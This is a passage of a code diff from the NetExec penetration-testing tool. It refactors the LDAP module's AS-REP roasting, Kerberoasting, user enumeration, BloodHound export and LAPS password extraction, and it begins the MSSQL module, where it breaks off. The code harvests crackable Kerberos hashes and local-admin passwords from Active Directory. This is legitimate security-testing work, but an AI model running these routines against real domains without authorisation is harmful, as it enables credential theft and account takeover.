             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(hash_tgt + "\n")
+                    hash_asreproast.write(f"{hash_tgt}\n")
             return False
 
         try:
             # Connect to LDAP
+            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldaps_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
-            self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
+            self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
+            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
             self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
             self.check_if_admin()
 
             # Prepare success credential text
             out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
-            self.logger.extra["protocol"] = "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             self.logger.success(out)
 
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -593,25 +560,19 @@ class ldap(connection):
             if str(e).find("strongerAuthRequired") >= 0:
                 try:
                     # We need to try SSL
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
                     ldaps_url = f"{proto}://{self.target}"
-                    self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
-                    self.ldapConnection.login(
-                        self.username,
-                        self.password,
-                        self.domain,
-                        self.lmhash,
-                        self.nthash,
-                    )
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
+                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
                     self.check_if_admin()
 
                     # Prepare success credential text
                     out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
                     self.logger.success(out)
 
-                    if not self.args.local_auth:
+                    if not self.args.local_auth and self.username != "":
                         add_user_bh(self.username, self.domain, self.logger, self.config)
                     if self.admin_privs:
                         add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -619,18 +580,21 @@ class ldap(connection):
                 except ldap_impacket.LDAPSessionError as e:
                     error_code = str(e).split()[-2][:-1]
                     self.logger.fail(
-                        f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                        f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                         color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                     )
+                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             else:
                 error_code = str(e).split()[-2][:-1]
                 self.logger.fail(
-                    f"{self.domain}\\{self.username}:{nthash if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                    f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                     color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                 )
+                if proto == "ldaps":
+                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             return False
         except OSError as e:
-            self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
+            self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
             return False
 
     def create_smbv1_conn(self):
@@ -695,7 +659,7 @@ class ldap(connection):
         attributes = ["objectSid"]
         resp = self.search(search_filter, attributes, sizeLimit=0)
         answers = []
-        if resp and self.password != "" and self.username != "":
+        if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
             for attribute in resp[0][1]:
                 if str(attribute["type"]) == "objectSid":
                     sid = self.sid_to_str(attribute["vals"][0])
@@ -753,37 +717,54 @@ class ldap(connection):
         return False
 
     def users(self):
-        # Building the search filter
-        search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
-        attributes = [
-            "sAMAccountName",
-            "description",
-            "badPasswordTime",
-            "badPwdCount",
-            "pwdLastSet",
-        ]
+        """
+        Retrieves user information from the LDAP server.
+
+        Args:
+        ----
+            input_attributes (list): Optional. List of attributes to retrieve for each user.
+
+        Returns:
+        -------
+            None
+        """
+        if len(self.args.users) > 0:
+            self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
+            search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
+        else:
+            self.logger.debug("Trying to dump all users")
+            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
+
+        # default to these attributes to mirror the SMB --users functionality
+        request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
+        resp = self.search(search_filter, request_attributes, sizeLimit=0)
 
-        resp = self.search(search_filter, attributes, sizeLimit=0)
         if resp:
-            self.logger.display(f"Total of records returned {len(resp):d}")
-            for item in resp:
-                if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
-                    continue
-                sAMAccountName = ""
-                description = ""
-                try:
-                    if self.username == "":
-                        self.logger.highlight(f"{item['objectName']}")
-                    else:
-                        for attribute in item["attributes"]:
-                            if str(attribute["type"]) == "sAMAccountName":
-                                sAMAccountName = str(attribute["vals"][0])
-                            elif str(attribute["type"]) == "description":
-                                description = str(attribute["vals"][0])
-                        self.logger.highlight(f"{sAMAccountName:<30} {description}")
-                except Exception as e:
-                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
-            return
+            # I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
+            if self.username == "":
+                self.logger.display(f"Total records returned: {len(resp):d}")
+                for item in resp:
+                    if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                        continue
+                    self.logger.highlight(f"{item['objectName']}")
+                return
+
+            users = parse_result_attributes(resp)
+            # we print the total records after we parse the results since often SearchResultReferences are returned
+            self.logger.display(f"Total records returned: {len(users):d}")
+            self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
+            for user in users:
+                # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
+                parsed_pw_last_set = ""
+                pwd_last_set = user.get("pwdLastSet", "")
+                if pwd_last_set != "":
+                    timestamp_seconds = int(pwd_last_set) / 10**7
+                    start_date = datetime(1601, 1, 1)
+                    parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
+                    if parsed_pw_last_set == "1601-01-01 00:00:00":
+                        parsed_pw_last_set = "<never>"
+                # we default attributes to blank strings if they don't exist in the dict
+                self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
 
     def groups(self):
         # Building the search filter
@@ -831,6 +812,76 @@ class ldap(connection):
                 self.logger.fail("Exception:", exc_info=True)
                 self.logger.fail(f"Skipping item, cannot process due to error {e}")
 
+    def active_users(self):
+        if len(self.args.active_users) > 0:
+            arg = True
+            self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
+            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
+            search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
+        else:
+            arg = False
+            self.logger.debug("Trying to dump all users")
+            search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
+
+        # default to these attributes to mirror the SMB --users functionality
+        request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
+        resp = self.search(search_filter, request_attributes, sizeLimit=0)
+        allusers = parse_result_attributes(resp)
+
+        count = 0
+        activeusers = []
+        argsusers = []
+
+        if arg:
+            resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
+            users_args = parse_result_attributes(resp_args)
+            # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
+            for i in range(len(self.args.active_users)):
+                try:
+                    argsusers.append(users_args[i])
+                except Exception as e:
+                    self.logger.debug("Exception:", exc_info=True)
+                    self.logger.debug(f"Skipping item, cannot process due to error {e}")
+        else:
+            argsusers = allusers
+
+        for user in allusers:
+            user_account_control = user.get("userAccountControl")
+            if user_account_control is not None:  # Check if user_account_control is not None
+                account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control  # If it's already a list
+                account_disabled = int(account_control) & 2
+                if not account_disabled:
+                    count += 1
+                    activeusers.append(user.get("sAMAccountName").lower())
+            else:
+                self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
+
+        if self.username == "":
+            self.logger.display(f"Total records returned: {len(resp):d}")
+            for item in resp_args:
+                if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                    continue
+                self.logger.highlight(f"{item['objectName']}")
+            return
+        self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
+        self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
+
+        for arguser in argsusers:
+            pwd_last_set = arguser.get("pwdLastSet", "")  # Retrieves pwdLastSet directly and defaults to an empty string.
+            if pwd_last_set:  # Checks if pwdLastSet is empty or not.
+                timestamp_seconds = int(pwd_last_set) / 10**7  # Converts pwdLastSet to an integer.
+                start_date = datetime(1601, 1, 1)
+                parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
+                if parsed_pw_last_set == "1601-01-01 00:00:00":
+                    parsed_pw_last_set = "<never>"
+
+            if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
+                self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
+            elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
+                self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
+            elif (arguser.get("sAMAccountName").lower() in activeusers):
+                self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
+
     def asreproast(self):
         if self.password == "" and self.nthash == "" and self.kerberos is False:
             return False
@@ -844,7 +895,7 @@ class ldap(connection):
             "lastLogon",
         ]
         resp = self.search(search_filter, attributes, 0)
-        if resp == []:
+        if resp is None:
             self.logger.highlight("No entries found!")
         elif resp:
             answers = []
@@ -888,10 +939,10 @@ class ldap(connection):
             if len(answers) > 0:
                 for user in answers:
                     hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
-                    hash_TGT = KerberosAttacks(self).get_tgt_asroast(user[0])
-                    self.logger.highlight(f"{hash_TGT}")
-                    with open(self.args.asreproast, "a+") as hash_asreproast:
-                        hash_asreproast.write(hash_TGT + "\n")
+                    if hash_TGT:
+                        self.logger.highlight(f"{hash_TGT}")
+                        with open(self.args.asreproast, "a+") as hash_asreproast:
+                            hash_asreproast.write(f"{hash_TGT}\n")
                 return True
             else:
                 self.logger.highlight("No entries found!")
@@ -900,7 +951,7 @@ class ldap(connection):
 
     def kerberoasting(self):
         # Building the search filter
-        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
+        searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
         attributes = [
             "servicePrincipalName",
             "sAMAccountName",
@@ -951,7 +1002,7 @@ class ldap(connection):
 
                     if mustCommit is True:
                         if int(userAccountControl) & UF_ACCOUNTDISABLE:
-                            self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
+                            self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
                         else:
                             answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
                 except Exception as e:
@@ -1347,15 +1398,18 @@ class ldap(connection):
             num_workers=10,
             disable_pooling=False,
             timestamp=timestamp,
+            fileNamePrefix=self.output_filename.split("/")[-1],
             computerfile=None,
             cachefile=None,
             exclude_dcs=False,
         )
 
+        self.output_filename += f"_{timestamp}"
+
         self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
         list_of_files = os.listdir(os.getcwd())
         with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
             for each_file in list_of_files:
-                if each_file.startswith(timestamp) and each_file.endswith("json"):
+                if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
                     z.write(each_file)
                     os.remove(each_file)

nxc/protocols/ldap/bloodhound.py

@@ -44,17 +44,7 @@ class BloodHound:
         # Create an object resolver
         self.ad.create_objectresolver(self.pdc)
 
-
-    def run(
-        self,
-        collect,
-        num_workers=10,
-        disable_pooling=False,
-        timestamp="",
-        computerfile="",
-        cachefile=None,
-        exclude_dcs=False,
-    ):
+    def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
         start_time = time.time()
         if cachefile:
             self.ad.load_cachefile(cachefile)
@@ -82,7 +72,7 @@ class BloodHound:
             )
             # Initialize enumerator
             membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
-            membership_enum.enumerate_memberships(timestamp=timestamp)
+            membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
         elif "container" in collect:
             # Fetch domains for later, computers if needed
             self.pdc.prefetch_info(
@@ -92,7 +82,7 @@ class BloodHound:
             )
             # Initialize enumerator
             membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
-            membership_enum.do_container_collection(timestamp=timestamp)
+            membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
         elif do_computer_enum:
             # We need to know which computers to query regardless
             # We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
@@ -102,7 +92,7 @@ class BloodHound:
             self.pdc.get_domains("acl" in collect)
         if "trusts" in collect or "acl" in collect or "objectprops" in collect:
             trusts_enum = DomainEnumerator(self.ad, self.pdc)
-            trusts_enum.dump_domain(collect, timestamp=timestamp)
+            trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
         if do_computer_enum:
             # If we don't have a GC server, don't use it for deconflictation
             have_gc = len(self.ad.gcs()) > 0
@@ -114,7 +104,7 @@ class BloodHound:
                 computerfile=computerfile,
                 exclude_dcs=exclude_dcs,
             )
-            computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
+            computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
         end_time = time.time()
         minutes, seconds = divmod(int(end_time - start_time), 60)
         self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))

nxc/protocols/ldap/database.py

@@ -54,7 +54,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/ldap/kerberos.py

@@ -1,18 +1,18 @@
 import random
 from binascii import hexlify, unhexlify
 from datetime import datetime, timedelta
+import traceback
+try:
+    # This is only available in python >= 3.11
+    # if we are in a lower version, we will use the deprecated utcnow() method
+    from datetime import UTC
+    utc_failed = False
+except ImportError:
+    utc_failed = True
 from os import getenv
 
 from impacket.krb5 import constants
-from impacket.krb5.asn1 import (
-    TGS_REP,
-    AS_REQ,
-    KERB_PA_PAC_REQUEST,
-    KRB_ERROR,
-    AS_REP,
-    seq_set,
-    seq_set_iter,
-)
+from impacket.krb5.asn1 import TGS_REP, AS_REQ, AS_REP, KERB_PA_PAC_REQUEST, KRB_ERROR, seq_set, seq_set_iter
 from impacket.krb5.ccache import CCache
 from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
 from impacket.krb5.types import KerberosTime, Principal
@@ -211,7 +211,8 @@ class KerberosAttacks:
             return None
 
         req_body["realm"] = domain
-        now = datetime.utcnow() + timedelta(days=1)
+        # When we drop python 3.10 support utcnow() can be removed, as it is deprecated
+        now = datetime.utcnow() + timedelta(days=1) if utc_failed else datetime.now(UTC) + timedelta(days=1)
         req_body["till"] = KerberosTime.to_asn1(now)
         req_body["rtime"] = KerberosTime.to_asn1(now)
         req_body["nonce"] = random.getrandbits(31)
@@ -235,10 +236,11 @@ class KerberosAttacks:
                 message = encoder.encode(as_req)
                 r = sendReceive(message, domain, self.kdcHost)
             elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
-                return "Password of user " + userName + " expired but user doesn't require pre-auth"
+                return f"Password of user {userName} expired but user doesn't require pre-auth"
             else:
-                nxc_logger.debug(e)
-                return False
+                nxc_logger.fail(e)
+                nxc_logger.debug(traceback.format_exc())
+                return None
 
         # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
         # 'Do not require Kerberos preauthentication' set

nxc/protocols/ldap/laps.py

@@ -1,3 +1,6 @@
+import binascii
+import hashlib
+from json import loads
 from pyasn1.codec.der import decoder
 from pyasn1_modules import rfc5652
 
@@ -258,3 +261,106 @@ class LAPSv2Extract:
         plaintext = decrypt_plaintext(cek, iv, remaining)
         self.logger.info(plaintext[:-18].decode("utf-16le"))
         return plaintext[:-18].decode("utf-16le")
+
+
+def laps_search(self, username, password, cred_type, domain):
+    prev_protocol = self.logger.extra["protocol"]
+    prev_port = self.logger.extra["port"]
+    self.logger.extra["protocol"] = "LDAP"
+    self.logger.extra["port"] = "389"
+
+    ldapco = LDAPConnect(self.domain, "389", self.domain)
+
+    if self.kerberos:
+        if self.kdcHost is None:
+            self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
+            return None, None, None, None
+
+        connection = ldapco.kerberos_login(
+            domain[0],
+            username[0] if username else "",
+            password[0] if cred_type[0] == "plaintext" else "",
+            password[0] if cred_type[0] == "hash" else "",
+            kdcHost=self.kdcHost,
+            aesKey=self.aesKey,
+        )
+    else:
+        connection = ldapco.auth_login(
+            domain[0],
+            username[0] if username else "",
+            password[0] if cred_type[0] == "plaintext" else "",
+            password[0] if cred_type[0] == "hash" else "",
+        )
+    if not connection:
+        self.logger.fail(f"LDAP connection failed with account {username[0]}")
+
+        return None, None, None, None
+
+    search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
+    attributes = [
+        "msLAPS-EncryptedPassword",
+        "msLAPS-Password",
+        "ms-MCS-AdmPwd",
+        "sAMAccountName",
+    ]
+    results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
+
+    msMCSAdmPwd = ""
+    sAMAccountName = ""
+    username_laps = ""
+
+    from impacket.ldap import ldapasn1 as ldapasn1_impacket
+
+    results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
+    if len(results) != 0:
+        for host in results:
+            values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
+            if "mslaps-encryptedpassword" in values:
+                msMCSAdmPwd = values["mslaps-encryptedpassword"]
+                d = LAPSv2Extract(
+                    bytes(msMCSAdmPwd),
+                    username[0] if username else "",
+                    password[0] if cred_type[0] == "plaintext" else "",
+                    domain[0],
+                    password[0] if cred_type[0] == "hash" else "",
+                    self.kerberos,
+                    self.kdcHost,
+                    339
+                )
+                try:
+                    data = d.run()
+                except Exception as e:
+                    self.logger.fail(str(e))
+                    return None, None, None, None
+                r = loads(data)
+                msMCSAdmPwd = r["p"]
+                username_laps = r["n"]
+            elif "mslaps-password" in values:
+                r = loads(str(values["mslaps-password"]))
+                msMCSAdmPwd = r["p"]
+                username_laps = r["n"]
+            elif "ms-mcs-admpwd" in values:
+                msMCSAdmPwd = str(values["ms-mcs-admpwd"])
+            else:
+                self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
+        self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
+    else:
+        self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
+        return None, None, None, None
+
+    if msMCSAdmPwd == "":
+        self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
+        return None, None, None, None
+
+    hash_ntlm = None
+    if cred_type[0] == "hash":
+        hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
+        hash_ntlm = binascii.hexlify(hash_ntlm).decode()
+
+    username = username_laps if username_laps else self.args.laps
+    password = msMCSAdmPwd
+    domain = self.hostname
+    self.args.local_auth = True
+    self.logger.extra["protocol"] = prev_protocol
+    self.logger.extra["port"] = prev_port
+    return username, password, domain, hash_ntlm

nxc/protocols/ldap/proto_args.py

@@ -1,16 +1,12 @@
-from argparse import _StoreTrueAction
-
-
 def proto_args(parser, std_parser, module_parser):
     ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
     ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
     ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
-    no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
+    ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
 
     dgroup = ldap_parser.add_mutually_exclusive_group()
-    domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
+    dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
-    no_smb_arg.make_required = [domain_arg]
 
     egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
     egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
@@ -20,10 +16,11 @@ def proto_args(parser, std_parser, module_parser):
     vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
     vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
     vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
-    vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
+    vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
     vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
     vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
     vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
+    vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
 
     ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
     ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
@@ -35,19 +32,4 @@ def proto_args(parser, std_parser, module_parser):
     bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
     bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
 
-    return parser
-
-
-def get_conditional_action(baseAction):
-    class ConditionalAction(baseAction):
-        def __init__(self, option_strings, dest, **kwargs):
-            x = kwargs.pop("make_required", [])
-            super().__init__(option_strings, dest, **kwargs)
-            self.make_required = x
-
-        def __call__(self, parser, namespace, values, option_string=None):
-            for x in self.make_required:
-                x.required = True
-            super().__call__(parser, namespace, values, option_string)
-
-    return ConditionalAction
+    return parser

nxc/protocols/mssql.py

@@ -1,15 +1,19 @@
 import os
+import random
+import socket
+import contextlib
 
 from nxc.config import process_secret
 from nxc.connection import connection
 from nxc.connection import requires_admin
 from nxc.logger import NXCAdapter
-from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
 from nxc.helpers.bloodhound import add_user_bh
+from nxc.helpers.ntlm_parser import parse_challenge
 from nxc.helpers.powershell import create_ps_command
-from impacket import tds
+from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
+
+from impacket import tds, ntlm
 from impacket.krb5.ccache import CCache
-from impacket.smbconnection import SMBConnection, SessionError
 from impacket.tds import (
     SQLErrorException,
     TDS_LOGINACK_TOKEN,
@@ -22,31 +26,21 @@ from impacket.tds import (
     TDS_ENVCHANGE_CHARSET,
     TDS_ENVCHANGE_PACKETSIZE,
 )
-import contextlib
 
 
 class mssql(connection):
     def __init__(self, args, db, host):
-        self.mssql_instances = None
-        self.domain = None
+        self.mssql_instances = []
+        self.domain = ""
+        self.targetDomain = ""
         self.server_os = None
         self.hash = None
         self.os_arch = None
         self.nthash = ""
+        self.is_mssql = False
 
         connection.__init__(self, args, db, host)
 
-    def proto_flow(self):
-        self.proto_logger()
-        if self.create_conn_obj():
-            self.enum_host_info()
-            self.print_host_info()
-            if self.login():
-                if hasattr(self.args, "module") and self.args.module:
-                    self.call_modules()
-                else:
-                    self.call_cmd_args()
-
     def proto_logger(self):
         self.logger = NXCAdapter(
             extra={
@@ -57,83 +51,98 @@ class mssql(connection):
             }
         )
 
-    def enum_host_info(self):
-        # this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
-        try:  # noqa: SIM105
-            # Probably a better way of doing this, grab our IP from the socket
-            self.local_ip = str(self.conn.socket).split()[2].split("=")[1].split(":")[0]
-        except Exception:
-            pass
-
-        if self.args.no_smb:
-            self.domain = self.args.domain
-        else:
-            try:
-                smb_conn = SMBConnection(self.host, self.host, None)
-                try:
-                    smb_conn.login("", "")
-                except SessionError as e:
-                    if "STATUS_ACCESS_DENIED" in e.getErrorString():
-                        pass
-
-                self.domain = smb_conn.getServerDNSDomainName()
-                self.hostname = smb_conn.getServerName()
-                self.server_os = smb_conn.getServerOS()
-                self.logger.extra["hostname"] = self.hostname
-
-                with contextlib.suppress(Exception):
-                    smb_conn.logoff()
-
-                if self.args.domain:
-                    self.domain = self.args.domain
-
-                if self.args.local_auth:
-                    self.domain = self.hostname
-            except Exception as e:
-                self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
-
-        self.mssql_instances = self.conn.getInstances(0)
-        self.db.add_host(
-            self.host,
-            self.hostname,
-            self.domain,
-            self.server_os,
-            len(self.mssql_instances),
-        )
-
-        with contextlib.suppress(Exception):
-            self.conn.disconnect()
-
-    def print_host_info(self):
-        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
-        # if len(self.mssql_instances) > 0:
-        #     for i, instance in enumerate(self.mssql_instances):
-        #         for key in instance.keys():
-
     def create_conn_obj(self):
         try:
-            self.conn = tds.MSSQL(self.host, self.port)
-            self.conn.connect()
-        except OSError as e:
-            self.logger.debug(f"Error connecting to MSSQL: {e}")
+            self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
+            # Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
+            af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
+            sock = socket.socket(af, socktype, proto)
+            sock.settimeout(self.args.mssql_timeout)
+            sock.connect(sa)
+            self.conn.socket = sock
+            if not self.is_mssql:
+                self.conn.preLogin()
+        except Exception as e:
+            self.logger.debug(f"Error connecting to MSSQL service on host: {self.host}, reason: {e}")
             return False
-        return True
+        else:
+            self.is_mssql = True
+            return True
+
+    def reconnect_mssql(func):
+        def wrapper(self, *args, **kwargs):
+            with contextlib.suppress(Exception):
+                self.conn.disconnect()
+            self.create_conn_obj()
+            return func(self, *args, **kwargs)
+        return wrapper
 
     def check_if_admin(self):
+        self.admin_privs = False
         try:
             results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')")
             is_admin = int(results[0][""])
         except Exception as e:
             self.logger.fail(f"Error querying for sysadmin role: {e}")
-            return False
-
-        if is_admin:
-            self.admin_privs = True
-            self.logger.debug("User is admin")
         else:
+            if is_admin:
